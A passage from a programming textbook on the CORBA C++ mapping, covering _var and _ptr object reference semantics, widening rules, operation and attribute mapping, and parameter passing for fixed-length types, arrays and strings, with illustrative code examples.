and 7.14.12, this is useful because proxy methods have formal parameters of _ptr 
type. But to make memory management easier, you will frequently pass a _var type 
instead.) 
       
Thermometer_ptr in() const; 
Thermometer_ptr & inout(); 
Thermometer_ptr & out(); 
 
      
These functions allow you to explicitly specify the direction in which a _var is passed to 
a function that expects a _ptr reference. You can use these functions to get around 
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compilers that do not correctly apply the C++ conversion rules. The functions are also 
useful for making the code more readable, because calling one of these functions makes it 
explicit whether a parameter may be modified by a call: 
       
extern void foo(CCS::Thermometer_ptr p);            // in param 
extern void bar(CCS::Thermometer_ptr & ref);       // inout param 
extern void baz(CCS::Thermometer_ptr & ref);       // out param 
 
CCS::Thermometer_var param = ...;   // Get reference 
foo(param.in());                    // param won't be modified 
bar(param.inout());                 // param may be modified 
baz(param.out());               // param will be modified 
 
Thermometer_ptr _retn(); 
 
      
The _retn function removes ownership of a reference from a _var without 
decrementing the reference count. This is particularly useful if you have a function that 
must allocate and return a _var reference but also throws exceptions, as the following 
code shows: 
       
CCS::Thermometer_ptr 
get_therm() 
{ 
    CCS::Thermometer_var v = ...;   // Get ref, v takes ownership 
    // Some more processing here... 
 
    if (error)                          // Something went wrong... 
        throw some_exception;           // v releases ref 
    // Everything is fine, pass ownership to caller 
    return v._retn(); 
} 
 
      
This code is free of resource leaks. get_therm gets a reference from somewhere and 
makes v responsible for it. If get_therm throws an exception, v's destructor runs and 
releases the reference again. If everything goes well, the code removes ownership from v 
by calling _retn and so makes the caller responsible for releasing the reference, as 
intended. 
 
Of course, the caller had better make sure that it releases the reference eventually. The 
easiest way to achieve this is for the caller to use another _var reference: 
       
CCS::Thermometer_var th = get_therm(); 
// th takes care of calling CORBA::release. 
 
Thermometer_ptr operator->() const; 
 
      
The indirection operator simply returns the underlying Thermometer_ptr. This 
allows you to use a _var reference as if it were a _ptr reference: 
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CCS::Thermometer_ptr p = ...;   // Get _ptr reference 
CCS::Thermometer_var v = ...;   // Get _var reference 
 
CCS::TempType t; 
t = p->temperature();              // Read temperature via _ptr 
t = v->temperature();           // Read temperature via _var 
 
      
Whether a _var or a _ptr reference is used, the syntax to invoke operations or 
attributes is the same. 

7.12.2 _var References and Widening 

_var references take care of releasing references for you, but they do not permit implicit 
widening assignments or initializations from other _var types. The following code will 
not compile because Thermostat_var does not inherit from Thermometer_var: 
       
CORBA::Object_var obj;      // Base _var 
CCS::Thermometer_var therm; // Derived _var 
CCS::Thermostat_var tmstat; // Most derived _var 
 
obj = therm;                // Compile-time error 
obj = tmstat;               // Compile-time error 
therm = tmstat;          // Compile-time error 
 
      
None of these assignments works, because all of them are widening assignments. 
Similarly, you cannot widen a _var reference during copy construction: 
       
CCS::Thermostat_var tmstat = ...;      // Derived _var 
CCS::Thermometer_var therm(tmstat); // Compile-time error 
 
      
If you want to widen between _var types for assignment or initialization, you must call 
_duplicate explicitly: 
       
CCS::Thermometer_var therm; // Base _var 
CCS::Thermostat_var tmstat; // Derived _var 
 
therm = CCS::Thermometer::_duplicate(tmstat);   // OK 
therm = CCS::Thermostat::_duplicate(tmstat);    // OK too 
 
      
In both assignments, the explicit call to _duplicate creates a copy, and therm takes 
ownership of the copy. Note that it does not matter whether you call the base or the 
derived _duplicate. To see why, let us examine each assignment in more detail. 
therm = CCS::Thermometer::_duplicate(tmstat); 
 
This assignment works because Thermometer::_duplicate expects an argument 
of type Thermometer_ptr. The compiler finds a match because Thermostat_var 
has a conversion operator to Thermostat_ptr, which in turn is compatible with 
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Thermometer_ptr (using the C++ standard conversions). 
Thermometer::_duplicate copies the passed reference and returns the copy as a 
Thermometer_ptr, for which therm takes ownership. 
therm = CCS::Thermostat::_duplicate(tmstat); 
Thermostat::_duplicate expects a formal parameter of type 
Thermostat_ptr. The compiler finds a match because the actual argument has a user-
defined conversion from Thermostat_var to Thermostat_ptr. The copy returned 
by _duplicate is of type Thermostat_ptr, which widens to 
Thermometer_ptr by the C++ standard conversion rules; therm takes ownership of 
that pointer. 
 
You may wonder why implicit widening between _var types is forbidden and instead 
requires an explicit call to _duplicate. The answer is that it is not possible to permit 
widening assignments. Widening assignments would either require base classes to know 
about all their derived classes or would end up loosening the type system so much that 
narrowing assignments would also become legal (and that would break C++ type safety). 
If you find it difficult to understand this, spend some time trying to create a mapping that 
retains the semantics of _ptr and _var references but also permits widening 
assignments without weakening the type system. It is an instructive exercise.[1]  

[1] There is a solution to widening between _var references that does not weaken the type 
system. However, that solution requires member templates, which are not yet supported by 
most C++ compilers. Once standard C++ compilers become ubiquitous, the mapping will 
probably be updated to permit widening assignments between _var references. 

7.12.3 Mixing _var and _ptr References 

_var references transparently convert to pointer references, so you can make a widening 
assignment from a derived _var to a base _ptr (but not to a base _var): 
       
CCS::Thermostat_var tmstat = ...;   // Derived _var reference 
CCS::Thermometer_ptr therm;         // Base _ptr reference 
therm = tmstat;                 // OK, tmstat owns reference 
 
      
This code works fine. Assignment from a _var to a _ptr is always shallow, so the 
reference count for tmstat remains at 1 in this example, and tmstat retains 
ownership. 
 
The same caveats as for String_var apply to _var references. If you mix _ptr and 
_var types, you must keep track of ownership; otherwise, you can end up in trouble: 
       
CCS::Thermostat_ptr p = ...; 
{ // Open scope 
    CCS::Thermostat_var v = p;  // v takes ownership 
    // ... 
} // Close scope, v calls release 
p->op();   // Disaster, p now dangles! 
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Table 7.2 summarizes the possible assignments of _var and _ptr types and their 
effects, assuming the following IDL and C++ definitions: 
       
// IDL 
interface Base { /* ... */ }; 
interface Derived : Base { /* ... */ }; 
 
// C++ 
Base_ptr    B_ptr; 
Derived_ptr D_ptr; 
Base_var    B_var; 
Derived_var D_var; 
 
      
In practice, you will rarely need to mix _var and _ptr variables. Instead, assignment or 
conversion from a _var to a _ptr happens when _var references are passed to 
operations or when operations return a _ptr reference that is assigned to a _var 
reference. As you will see in Section 7.14.12, these conversions are invisible and 
automatically ensure that the correct memory management activities take place. 
 

Table 7.2. Effects of assignments between _var and _ptr types. 
Assignment Effect 

B_ptr = 
B_ptr; Shallow assignment 

B_ptr = 
D_ptr; Shallow assignment 

D_ptr = 
B_ptr; Illegal, compile-time error 

B_ptr = 
B_var; Shallow assignment, B_var retains ownership 

B_ptr = 
D_var; Shallow assignment, D_var retains ownership 

D_ptr = 
B_var; Illegal, compile-time error 

B_var = 
B_ptr; Shallow assignment, B_var takes ownership 

B_var = 
D_ptr; Shallow assignment, B_var takes ownership 

D_var = 
B_ptr; Illegal, compile-time error 

B_var = 
B_var; Deep assignment 

B_var = 
D_var; 

Illegal, compile-time error; instead use B_var = 
Derived::_duplicate(D_var); or B_var = 
Base::_duplicate(D_var); 

D_var = 
B_var; Illegal, compile-time error 

7.12.4 References Nested in User-Defined Types 
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Recall from our climate control system that object references can appear inside user-
defined types. For example, the list operation on the controller returns a sequence of 
object references: 
       
// ... 
interface Controller { 
   typedef sequence<Thermometer>   ThermometerSeq; 
   // ... 
   ThermometerSeq  list(); 
   // ... 
}; 
 
      
If object references are nested in a user-defined type, such as a structure, union, sequence, 
array, or exception, they are mapped to a _mgr type. For example, the preceding 
ThermometerSeq maps to 
       
class ThermometerSeq { 
public: 
    ThermometerSeq(); 
    ThermometerSeq(CORBA::ULong max); 
    ThermometerSeq( 
        CORBA::ULong        max, 
        CORBA::ULong        len, 
        Thermometer_ptr *   data, 
        CORBA::Boolean      release = 0 
    ); 
 
    Thermometer_mgr &       operator[](CORBA::ULong idx); 
    const Thermometer_mgr & operator[](CORBA::ULong idx) const; 
 
    // etc... 
}; 
 
      
We have omitted many of the sequence member functions here; the important point is 
that if references are nested in a user-defined type, they are _mgr references. (Your ORB 
may use a different type, such as Thermometer_item. However, if it does, that type 
will behave as if it were a Thermometer_mgr, so the usual memory management rules 
for _var references apply—see page 176.) 
 
Here is an example of the use of a thermometer sequence: 
       
CCS::Thermometer_var tv = ...;  // Get _var reference 
CCS::Thermometer_ptr tp = ...;  // Get _ptr reference 
 
{ 
    CCS::ThermometerSeq seq;    // Local sequence variable 
    seq.length(2); 
    seq[0] = tv;                // Deep assignment 
    seq[1] = tp;                // seq[1] takes ownership 
} 
// Sequence releases both seq[0] and seq[1] 
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CCS::TempType t; 
t = tv->temperature();          // OK, tv is still intact 
t = tp->temperature();       // Disaster, tp dangles 
 
      
Because the sequence is composed of elements that behave like _var references, the 
assignment to seq[0] makes a deep copy, so the reference count for the corresponding 
proxy after the assignment is 2. The second assignment is from a _ptr reference to a 
_var reference, so seq[1] takes ownership and the reference count remains at 1. 
 
When the sequence goes out of scope, it invokes the destructor for all its elements, so 
both seq[0] and seq[1] call CORBA:: release. Of course, this means that the 
reference in tv is still intact after the sequence is destroyed; its proxy now has a 
reference count of 1 again. On the other hand, the _ptr reference tp now dangles, 
because ownership passed to seq[0] during the assignment. 

7.12.5 Efficiency of _var Types 

Programmers frequently ask the question, "Isn't it too expensive to use _var references? 
After all, compared with the _ptr mapping, the additional function calls slow 
everything down." This concern often extends to _var types in general, such as the 
_var types for structures and sequences. 
 
The answer to this question is, "No, it is not too expensive." A high-quality 
implementation of the C++ mapping uses a variety of techniques, such as reference 
counting and inlining, to keep the overhead to a minimum. In addition, you need to 
remember that if you do not use _var types, you must do yourself what otherwise would 
be done by the _var type for you (namely, allocating and releasing resources at the 
appropriate time). This means that the overhead created by _var types is essentially 
limited to the cost of function calls (which are usually inlined anyway). 
 
If you have a performance problem in your code, it is highly unlikely that it is caused by 
use of _var types. Before you launch into eliminating all _var types, you should have 
solid evidence that demonstrates that they are to blame. 
 
Of course, there are pathological cases when inappropriate use of a _var reference can 
hurt you: 
       
for (int i = 0; i < 10000; i++) { 
    SomeObject_var v = getNextObject(); 
    v->some_operation(); 
}; 
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This code declares a _var reference inside a loop body, initializes the reference, and 
invokes an operation via the reference. This means that the reference is created and 
destroyed once per iteration (10,000 times in all). This in itself is not a problem. 
 
However, it can hurt considerably if v is the only object reference to a particular server 
process. As we said earlier, releasing a reference not only deallocates memory but also 
may deallocate networking resources. If v is the only reference to a particular address 
space, this can mean that the ORB opens and closes a TCP/IP connection for every 
iteration of the loop. Clearly, this is extremely wasteful and slow. 
 
Note that the problem is not caused by the _var reference as such but rather by its 
inappropriate use. Exactly the same problem can arise with a _ptr reference: 
       
for (int i = 0; i < 10000; i++) { 
    SomeObject_ptr p = get_next_object(); 
    p->some_operation(); 
    CORBA::release(p); 
}; 
 
      
The problem with both loops is that the only reference in the client to a particular server 
address space is released inside the loop, and that can cause a new connection to be 
established for every iteration. 
 
One way around this problem is to keep at least one reference to an object in the server 
for the duration of the loop: 
       
SomeObject_ptr first = getNextObject(); 
first->some_operation(); 
for (int i = 1; i < 10000; i++) { 
    SomeObject_var v = getNextObject(); 
    v->some_operation(); 
}; 
CORBA::release(first); 
 
      
Here, the first remote call happens outside the loop, and the remaining 9,999 are done 
inside the loop. The _var reference v is created and destroyed on every iteration and 
takes care of correctly releasing each reference. The _ptr reference first denotes a 
proxy for the duration of the loop and is explicitly released after the loop terminates. This 
technique avoids the problem of the previous version—the same connection is used for 
all requests. 
 
Keep in mind that this is a pathological case. In addition, the solution we present is ORB-
specific, because different ORBs use different strategies to manage connections. (For 
example, if an ORB caches connections for a while before closing them, the preceding 
loops run at exactly the same speed.) However, enough developers get bitten by this 
problem that we felt it was worth pointing out. 
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Exactly how an ORB manages connections is not specified by CORBA. Most ORB 
implementations open a connection when the first reference to an address space is created, 
and they close the connection when the last reference to that address space is released. (If 
the client has multiple references to different objects in the same server, most ORBs send 
all requests to objects in that server over the same single connection.) 

7.13 Mapping for Operations and Attributes 

As you saw in Section 7.6, an IDL interface maps to a proxy class. The proxy class 
contains member functions that correspond to IDL operations and attributes; the client 
calls these member functions via an object reference to invoke operations. This section 
explains the mapping rules for operations and attributes in more detail. 

7.13.1 Mapping for Operations 

IDL operations map to member functions in the proxy that have the same name. For 
example: 
       
interface Foo { 
    void        send(in char c); 
    oneway void put(in char c); 
    long        get_long(); 
    string      id_to_name(in string id); 
}; 
 
      
The generated proxy member functions look like this: 
       
class Foo { 
public: 
    // ... 
    virtual void        send(CORBA::Char c) = 0; 
    virtual void        put(CORBA::Char c) = 0; 
    virtual CORBA::Long get_long() = 0; 
    virtual char *      id_to_name(const char * id) = 0; 
    // ... 
}; 
 
      
After a client holds a reference to a Foo object, it can invoke operations via the 
indirection operator ->. The -> operator is used for both _ptr and _var references: 
       
Foo_ptr fp = ...; 
Foo_var fv = ...; 
 
fp->send('x'); 
fv->put('y'); 
cout << "get_long: " << fv->get_long() << endl; 
CORBA::String_var n = fv->id_to_name("ID073"); 
cout << "Name is " << n << endl; 
 
CORBA::release(fp); 
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This code looks much like any other piece of C++ code; the only visible artifacts of 
CORBA are object references and CORBA types (such as String_var). Note that it 
does not matter whether you use a _ptr or a _var reference for an invocation; in either 
case, you use the indirection operator ->. 
 
Also note that send is a normal synchronous operation, whereas put is declared 
oneway. Yet the signatures for send and put are identical (there is nothing in the 
signature of put to indicate it is a oneway operation). When the client invokes put, the 
corresponding request will still be dispatched as a oneway request; the stub code 
generated by the compiler ensures that the correct semantics are applied during call 
dispatch. 

7.13.2 Mapping for Attributes 

IDL attributes map to a pair of member functions: an accessor and a modifier. If an 
attribute is declared readonly, only the accessor is generated: 
       
module CCS { 
   typedef short   TempType; 
   typedef string  LocType; 
   // ... 
   interface Thermometer { 
       readonly attribute TempType temperature; 
       attribute LocType           location; 
       // ... 
   }; 
   // ... 
}; 
 
      
The preceding definition generates the proxy: 
       
namespace CCS { 
    typedef CORBA::Short    TempType; 
    typedef char *          LocType; 
 
    class Thermometer { 
    public: 
        virtual TempType temperature() = 0;          // Accessor 
        virtual LocType  location() = 0;             // Accessor 
        virtual void     location(const char *) = 0; // Modifier 
        // ... 
    }; 
} 
 
      
To read the value of an attribute, you simply call the accessor; to write the value, you call 
the modifier: 
       
CCS::Thermometer_var t = ...;           // Get reference 
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CCS::TempType temp = t->temperature();  // Read temperature 
CCS::LocType_var loc = t->location();   // Read location 
t->location("Room 12-514");         // Write location 
 
      
This example also illustrates that there is truly no difference between attributes and 
operations. IDL attributes are simply a shorthand notation for defining a pair of accessor 
and modifier operations. 
 
Note that the mapping for the location accessor uses the LocType definition from 
the IDL: 
       
virtual LocType location() = 0; 
 
      
However, the mapping for the location modifier does not use the LocType 
definition even though a location is passed: 
       
virtual void location(const char *) = 0; 
 
      
This difference is an artifact of mapping IDL strings to char *. If the compiler were to 
generate the following instead, the signature would be in error: 
       
virtual void location(const LocType) = 0;   // Wrong!!! 
 
      
This is wrong because the result of applying a const modifier to an alias for char * 
results in the type char * const. However, the mapping requires const char *. 

7.14 Parameter Passing Rules 

The parameter passing rules for operations are complex. They are motivated by two 
overriding requirements. 
 
Location transparency  Memory management rules for parameters must be uniform 
whether the target object is in the same address space or in a different address space. This 
requirement allows the same source code to work with collocated and remote objects.  
 
Efficiency  Copying of parameter values must be avoided whenever possible. In this way, 
calling a collocated CORBA object via an object reference is almost as fast as calling a 
C++ object via a virtual function.  
 
If you keep these two requirements in mind when you look at the parameter passing rules, 
things will make much more sense. Location transparency requires certain memory 
management conventions, such as that variable-length out parameters must be allocated 
by the callee and deallocated by the caller. Efficiency requires that large values be passed 
by reference rather than by value. (Pass-by-value requires copying to and from the stack, 
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whereas pass-by-reference avoids copying.) The function signatures generated by the 
mapping simply reflect these requirements. 
 
The rules for parameter passing can be categorized according to the parameter type and 
whether that type is fixed- or variable-length. There are rules for the following: 
Simple fixed-length types, such as long and char 
Complex fixed-length types, such as a fixed-length struct or union 
Fixed-length arrays 
Complex variable-length types, such as a variable-length struct or union 
Arrays with variable-length elements 
Strings 
Object references 
Within each category, the direction of a parameter (in, inout, out, or return value) 
determines the exact passing mode for that parameter. 
 
The following sections discuss the parameter passing rules in detail. Note that we first 
present the rules using the low-level (non-_var) C++ mapping (Section 7.14.11 
shows a summary of these rules). Section 7.14.12 then shows how you can use _var 
types to hide mapping differences for different parameter types. 

7.14.1 Fixed-Length Versus Variable-Length Types 

Parameter passing rules differ for fixed-length and variable-length types. By definition, 
the following types are fixed-length types: 
Integer types (short, long, long long), both signed and unsigned 
Floating-point types (float, double, long double) 
Fixed-point types (fixed<d,s>) irrespective of the values of d and s 
Character types (char and wchar) 
boolean 
octet 
Enumerated types 
By definition, the following types are variable-length types: 
string and wstring (bounded or unbounded) 
Object references 
any 
Sequences (bounded or unbounded) 
This leaves structures, unions, and arrays, which can be fixed-length or variable-length 
depending on their contents. 
 
A structure, union, or array is a fixed-length type if it (recursively) contains only fixed-
length types. 
 
A structure, union, or array is a variable-length type if it (recursively) contains one or 
more variable-length types. 
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Note that exceptions are not mentioned here because they cannot be sent as parameters. 
However, system exceptions are always fixed-length, and user exceptions are always 
considered variable-length whether or not they contain variable-length members (see 
page 318). 

7.14.2 Generated _out Types 

As we discuss the parameter passing rules for the different types, you will see that the 
signature for out parameters always uses a formal parameter type typename_out. For 
example, for an out parameter of type long, the formal parameter type is 
CORBA::Long_out. This is because the memory management rules for out parameters 
are different for fixed-length and variable-length types. 
 
For fixed-length types, the generated _out type is simply a typedef to a reference. For 
example, Long_out is defined in the CORBA namespace as follows: 

•          
• typedef Long & Long_out; 
•  

        
For variable-length types, the generated _out type is a class. For example, 
String_out is defined in the CORBA namespace as a class: 

•          
• class String_out { 
•     // ... 
• }; 
•  

        
The reason for the difference is memory management rules. Variable-length types are 
callee-allocated, and the generated _out classes for variable-length types ensure that 
memory is correctly released. We return to the exact definition of _out parameters on 
page 300. 

7.14.3 Parameter Passing for Simple Types 

Simple types, such as char, long, or double, are fixed-length types. (Their sizes are 
known at compile time.) Simple types are passed by value or by reference depending on 
whether the parameter can be changed by the callee. Enumerated types are passed like 
simple types because they have fixed size. Here is an IDL operation that uses a long 
parameter in all possible directions: 
       
interface Foo { 
  long op_long(in long l_in, inout long l_inout, out long l_out); 
}; 
 
      
The corresponding method in the proxy has this signature: 
       
class Foo : public CORBA::Object { 
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public: 
    // ... 
    virtual CORBA::Long long_op( 
                            CORBA::Long     l_in, 
                            CORBA::Long &   l_inout, 
                            CORBA::Long_out l_out 
                        ) = 0; 
    // ... 
}; 
 
      
The type CORBA::Long_out is an alias for CORBA::Long &. The l_out parameter 
is passed by reference, so the callee can change its value. In other words, the signature for 
long_op is no different from what it would be if you yourself wrote a function that 
deals with input, input/output, and output parameters of simple types. Given a reference, 
you can call long_op as with any other C++ function: 
       
Foo_var fv = ...;   // Get reference 
 
CORBA::Long inout_val; 
CORBA::Long out_val; 
CORBA::Long ret_val; 
 
inout_val = 5; 
ret_val = fv->long_op(99, inout_val, out_val); 
 
cout << "ret_val: " << ret_val << endl; 
cout << "inout_val: " << inout_val << endl; 
cout << "out_val: " << out_val << endl; 
 
      
Of course, you must pass initialized values for in and inout parameters because they 
are sent to the object. There is no need to initialize ret_val or out_val, because they 
are sent from the object to the client. Because inout_val is an inout parameter and 
passed by reference, its value may be changed by the call. In contrast, in parameters are 
passed by value and are guaranteed to have their original values after the call completes. 

7.14.4 Parameter Passing for Fixed-Length Complex Types 

Fixed-length complex types (structures and unions) are passed much as simple types are. 
However, for efficiency reasons in parameters are passed as references to const 
instead of by value to avoid copying the value onto the call stack. Here is an operation 
that passes a fixed-length structure in all possible directions: 
       
struct Fls {      // Fixed-length struct 
    long    l_mem; 
    double  d_mem; 
}; 
 
interface Foo { 
  Fls fls_op(in Fls fls_in, inout Fls fls_inout, out Fls fls_out); 
}; 
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The corresponding method in the generated proxy has this signature: 
       
class Foo : public CORBA::Object { 
public: 
    // ... 
    virtual Fls fls_op( 
                    const Fls & fls_in, 
                    Fls &       fls_inout, 
                    Fls_out     fls_out 
                ) = 0; 
    // ... 
}; 
 
      
Again, as with simple types, Fls_out is simply an alias for Fls &, so the callee can 
change the value of the passed parameter. As with simple types, calling the fls_op 
operation looks like calling any other C++ function with similar parameters: 
       
Foo_var fv = ...;   // Get reference 
 
Fls in_val; 
Fls inout_val; 
Fls out_val; 
Fls ret_val; 
 
in_val.l_mem = 99; 
in_val.d_mem = 3.14; 
 
inout_val.l_mem = 5; 
inout_val.d_mem = 2.18; 
 
ret_val = fv->fls_op(in_val, inout_val, out_val); 
 
// in_val is unchanged here, inout_val may have 
// been modified, and out_val and ret_val contain 
// values returned by the operation. 
 
      
In general, for a fixed-length user-defined type T, T_out is an alias for T & so the 
callee can modify the value via the reference. 

7.14.5 Parameter Passing for Arrays with Fixed-Length 
Elements 

Conceptually, arrays are passed just as other fixed-length complex types are passed. 
However, because C++ does not permit passing arrays by value, the stub signatures 
instead use pointers to an array slice. Here is an operation that passes an array with fixed-
length elements in all possible directions: 
       
typedef double  Darr[3]; 
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interface Foo { 
    Darr  darr_op( 
          in Darr     darr_in, 
          inout Darr  darr_inout, 
          out Darr    darr_out 
        ); 
}; 
 
      
The corresponding method in the generated proxy has this signature: 
       
typedef CORBA::Double Darr[3]; 
typedef CORBA::Double Darr_slice; 
 
class Foo : public virtual CORBA::Object { 
public: 
    // ... 
    virtual Darr_slice *    darr_op( 
                                const Darr      darr_in, 
                                Darr_slice *    darr_inout, 
                                Darr_out        darr_out 
                            ) = 0; 
    // ... 
}; 
// ... 
void    Darr_free(Darr_slice *); 
// ... 
 
      
The signature for darr_op is defined in terms of Darr_slice * (a pointer to the 
element type) because arrays cannot be passed by value in C++. For the in parameter 
darr_in, the signature uses a formal parameter type of const Darr. By C++ default 
conversion rules, this is the same thing as declaring the parameter type as const 
CORBA::Double *, which is a pointer to a constant array slice. 
 
The darr_in, darr_inout, and darr_out parameters must point to caller-
allocated memory. The function uses the darr_in pointer to read the array elements 
and uses the darr_inout and darr_out pointers to read or write the array elements 
(without allocating storage). This means that for an array with fixed-length elements of 
type T, the type T_out is simply an alias for T_slice *. (The caller passes a pointer 
to the first element, and that allows the callee to modify the caller-allocated array via the 
pointer.) 
 
The return value is also a pointer, and that raises the question of who owns the memory 
allocated to the returned array. For the reasons we discussed in Section 6.9.2, the 
return value is allocated by the callee and must be deallocated by the caller: 
       
Foo_var fv = ...;   // Get reference 
 
Darr in_val = { 0.0, 0.1, 0.2 }; 
Darr inout_val = { 97.0, 98.0, 99.0 }; 
Darr out_val; 
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Darr_slice * ret_val; 
 
ret_val = fv->darr_op(in_val, inout_val, out_val); 
// in_val is unchanged 
// inout_val may have been changed 
// out_val now contains values 
// ret_val points to dynamically allocated array 
 
Darr_free(ret_val); // Must free here! 
 
      
You must remember to eventually deallocate the return value from the call; otherwise, the 
memory for the array is leaked. You must use the generated deallocation function 
(Darr_free in this case) to deallocate the returned array. Use of delete or delete[] 
is non-portable and may not work in some environments. 
 
Of course, you can use a _var type both to prevent a memory leak and to ensure use of 
the correct deallocation function: 
       
Foo_var fv = ...;   // Get reference 
 
Darr in_val = { 0.0, 0.1, 0.2 }; 
Darr inout_val = { 97.0, 98.0, 99.0 }; 
Darr out_val; 
Darr_var ret_val;                               // Note _var type 
 
ret_val = fv->darr_op(in_val, inout_val, out_val); 
 
// No need to deallocate anything here - 
// ret_val is a _var type and will call 
// Darr_free() when it goes out of scope. 
 
      
You must be careful if your IDL contains more than one array type with the same 
element type: 
       
typedef double  Darr4[4]; 
interface Foo { 
   Darr4 get_darr4(in Darr4 da4); 
}; 
 
typedef double  Darr3[3]; 
interface bar { 
   Darr3 get_darr3(in Darr3 da3); 
}; 
 
      
Because of the weak array semantics of C++, you will not get a compile-time error if you 
pass an array of the incorrect type to an operation: 
       
Foo_var fv = ...;   // Get reference 
 
Darr3 in_val = { 1, 2, 3 }; 
Darr3_var ret_val; 
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ret_val = fv->get_darr4(in_val);    // Double disaster!!! 
 
      
This code contains two serious errors that are not detected at compile time. 
The array passed to get_darr4 is a three-element array, but get_darr4 expects a 
four-element array. 
 
The code for get_darr4 will overrun the passed array by one element, with 
unpredictable results. If the element type is a complex type (such as a union), a core 
dump is the most likely outcome. 
 
The returned array has four elements, but ret_val is a _var for a three-element array. 
When ret_val goes out of scope, its destructor calls Darr3_free (instead of 
Darr4_free). The behavior of this is undefined. The most likely outcome is a memory 
leak (at least if the array contains complex elements, because the destructor for the final 
element may not be called). 
 
Of course, you can suffer worse consequences: if you deallocate a Darr3 using 
Darr4_free, the deallocation function will overrun the array and may invoke a 
destructor on an instance that was never constructed. The likely outcome is a core dump. 
These problems arise only if you have IDL arrays with differing numbers of elements of 
the same type, so these mistakes are rare. The problems could have been avoided entirely 
had the C++ mapping chosen to map arrays to classes instead of C++ arrays. However, 
some of the designers thought that it was important to permit the binary layout of the C 
and C++ mappings to be identical. This arrangement is useful if a client uses both 
mappings in the same address space because it permits passing of IDL types between the 
two mappings without conversion. In hindsight, allowing binary compatibility between 
the C and C++ mappings was probably a mistake. The importance of binary compatibility 
was overestimated, and, as a result, the C++ mapping is not as type-safe as it could have 
been. 
 
In general, CORBA does not provide binary compatibility simply because it is not a 
binary standard. In particular, binary compatibility would severely constrain the options 
available to implementers and would reduce the number of different environments 
CORBA can be deployed in. 

7.14.6 Memory Management for Variable-Length Parameters 

Before we examine in detail the rules for passing variable-length parameters, it is worth 
looking further at the motivation for these rules. As you saw in Section 6.9.2, 
variable-length types that are returned from the callee to the caller are dynamically 
allocated; the caller becomes responsible for deallocating the returned value after it is no 
longer needed. So far, we have skirted the question of how a client can possibly 
deallocate a value that was allocated by a server. (Obviously, a pointer to a dynamically 
allocated block of memory in a server makes no sense in a client's address space.) 
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Consider this simple interface definition: 
       
interface Person { 
   string  name(); 
}; 
 
      
The name operation returns the name of a person as a string. The return value has 
variable length and is dynamically allocated by the callee. Figure 7. 6 shows a much 
simplified picture of the actions of client and server when a client invokes the name 
operation. The client code is shown on the left, and the server code on the right. For both 
client and server, the developer-written application code is shaded light gray, and the 
ORB run-time support code is shaded dark gray. (To save space, we have omitted explicit 
qualification for functions in the CORBA namespace.) Also note that the run-time support 
code is pseudocode (the actual code is more complicated than shown here). 

Figure 7.6 Returning a variable-length value—remote case. 

 
From the perspective of the client application programmer, the code simply looks like 
this: 
       
Person_var p = ...; 
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char * s; 
s = p->name(); 
// ... 
CORBA::string_free(s); 
 
      
When the client calls the name method, it calls a member function on a proxy object. 
The sequence of events now is as follows. 
 
The name member function on the proxy creates a request containing the name of the 
operation (name in this case), the object key, and the in and inout parameters for the 
operation (none in this case). 
 
The proxy member function writes the request to its connection to the server and 
immediately calls a blocking read operation on the connection (recv_len in this case). 
The client-side run time is now blocked until a reply arrives from the server. 
 
Meanwhile, the request makes its way across the network to the server. The server is 
blocked in its get_request operation, waiting for a request to arrive on the client 
connection. 
 
The incoming request from the client unblocks get_request, which extracts the 
operation name and object key. 
 
The server-side run time calls a generic invoke function, which accepts the operation 
name as a parameter. invoke uses that name to identify the correct application member 
function to call and then up-calls into the application code. 
 
Control has now been transferred to the application-supplied name function on the server 
side. The name function uses string_alloc to allocate memory for the string and 
returns a pointer to that buffer as its return value. 
 
Control is transferred back to the server-side run time, which expects to be handed a 
pointer to the allocated string. The run time now constructs a reply containing a copy of 
the string and sends that reply back to the client. 
 
The server-side run time calls string_free to deallocate the string. (The string is no 
longer needed because its contents are already on their way back to the client.) 
 
The server-side run time has now completed one iteration of its dispatch loop and calls 
get_request again, which blocks until the next client request arrives. 
 
Meanwhile, the reply has made its way across the network back to the client, whose call 
to recv_len unblocks. The return value is a byte count that specifies the length of the 
string to follow. 
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The client-side run time calls string_alloc to create a buffer containing len bytes 
and calls recv, which reads the string contents into the buffer. 
 
The stub on the client side completes by returning a pointer to the buffer containing the 
string. 
 
Control has now returned to the application code, which uses the string and eventually 
deallocates it by calling string_free. 
 
It is important to note here that no memory leak occurs in either client or server. 
 
On the server side, the application code calls string_alloc, and the generated code 
in the skeleton calls string_free after it has sent the string back to the client. 
 
On the client side, the generated stub code calls string_alloc and returns a pointer to 
the string to the application code, which calls string_free. 
 
This scenario illustrates how the application code and the ORB run time cooperate to 
ensure that the correct memory management activities take place for both client and 
server. CORBA's location transparency crucially depends on these memory management 
rules. 
 
Let us consider the preceding example once more, this time in the collocated case in 
which both client and server share the same address space. Collocation essentially 
amounts to removing all the ORB-generated code (apart from some remnants that are 
irrelevant here), so we can imagine that we simply slide the server application code 
across into the client application code, deleting all the dark gray code (see Figure 7.7). 

Figure 7.7 Returning a variable-length value—collocated case. 
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In the collocated case, the client calls the name member function on its proxy as before. 
However, that member function is now local to the client's address space, so there is no 
need to go through all the intervening networking code. 
 
Notice that we didn't have to change any application source code to collocate client and 
server. Most important, memory management responsibilities are identical. The server 
code still calls string_alloc, and the client code still calls string_free, so there 
is no memory leak. 
 
This transparency of remote and collocated invocations is at the heart of the memory 
management rules for variable-length parameters. If you keep the preceding pictures in 
mind, you will find it much easier to understand why variable-length parameters are 
passed the way they are. Note that arguments similar to those for return values also apply 
to inout and out parameters. The point is that the sending side allocates a variable-length 
value, and the receiving side deallocates it again. 

7.14.7 Parameter Passing for Strings and Wide Strings 

Given the discussion in the preceding section, it is not hard to work out how strings must 
be passed. Here is the IDL for an operation that passes string parameters in all possible 
directions: 
       
interface Foo { 
  string  string_op( 
          in string       s_in, 
          inout string    s_inout, 
          out string      s_out 
        ); 
}; 
 
      
The corresponding method in the generated proxy has this signature: 
       
class Foo : public virtual CORBA::Object { 
public: 
    // ... 
    virtual char *  string_op( 
                        const char *        s_in, 
                        char * &            s_inout, 
                        CORBA::String_out   s_out 
                    ) = 0; 
    // ... 
}; 
 
      
For strings, the type CORBA::String_out is a class with a constructor that accepts an 
argument of type char * & (see page 300 for a detailed discussion of _out types). 
Following are the memory management responsibilities. 
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The in parameter s_in is passed as const char *, so the method cannot change the 
contents of the string. The string is allocated, initialized, and deallocated by the caller. It 
is legal to pass any string as an in parameter; the string can be allocated on the stack, can 
be statically allocated in the data segment, or can be dynamically allocated on the heap. 
 
The inout parameter s_inout is also allocated and initialized by the caller. However, 
it must be dynamically allocated with string_alloc or string_dup. The reason 
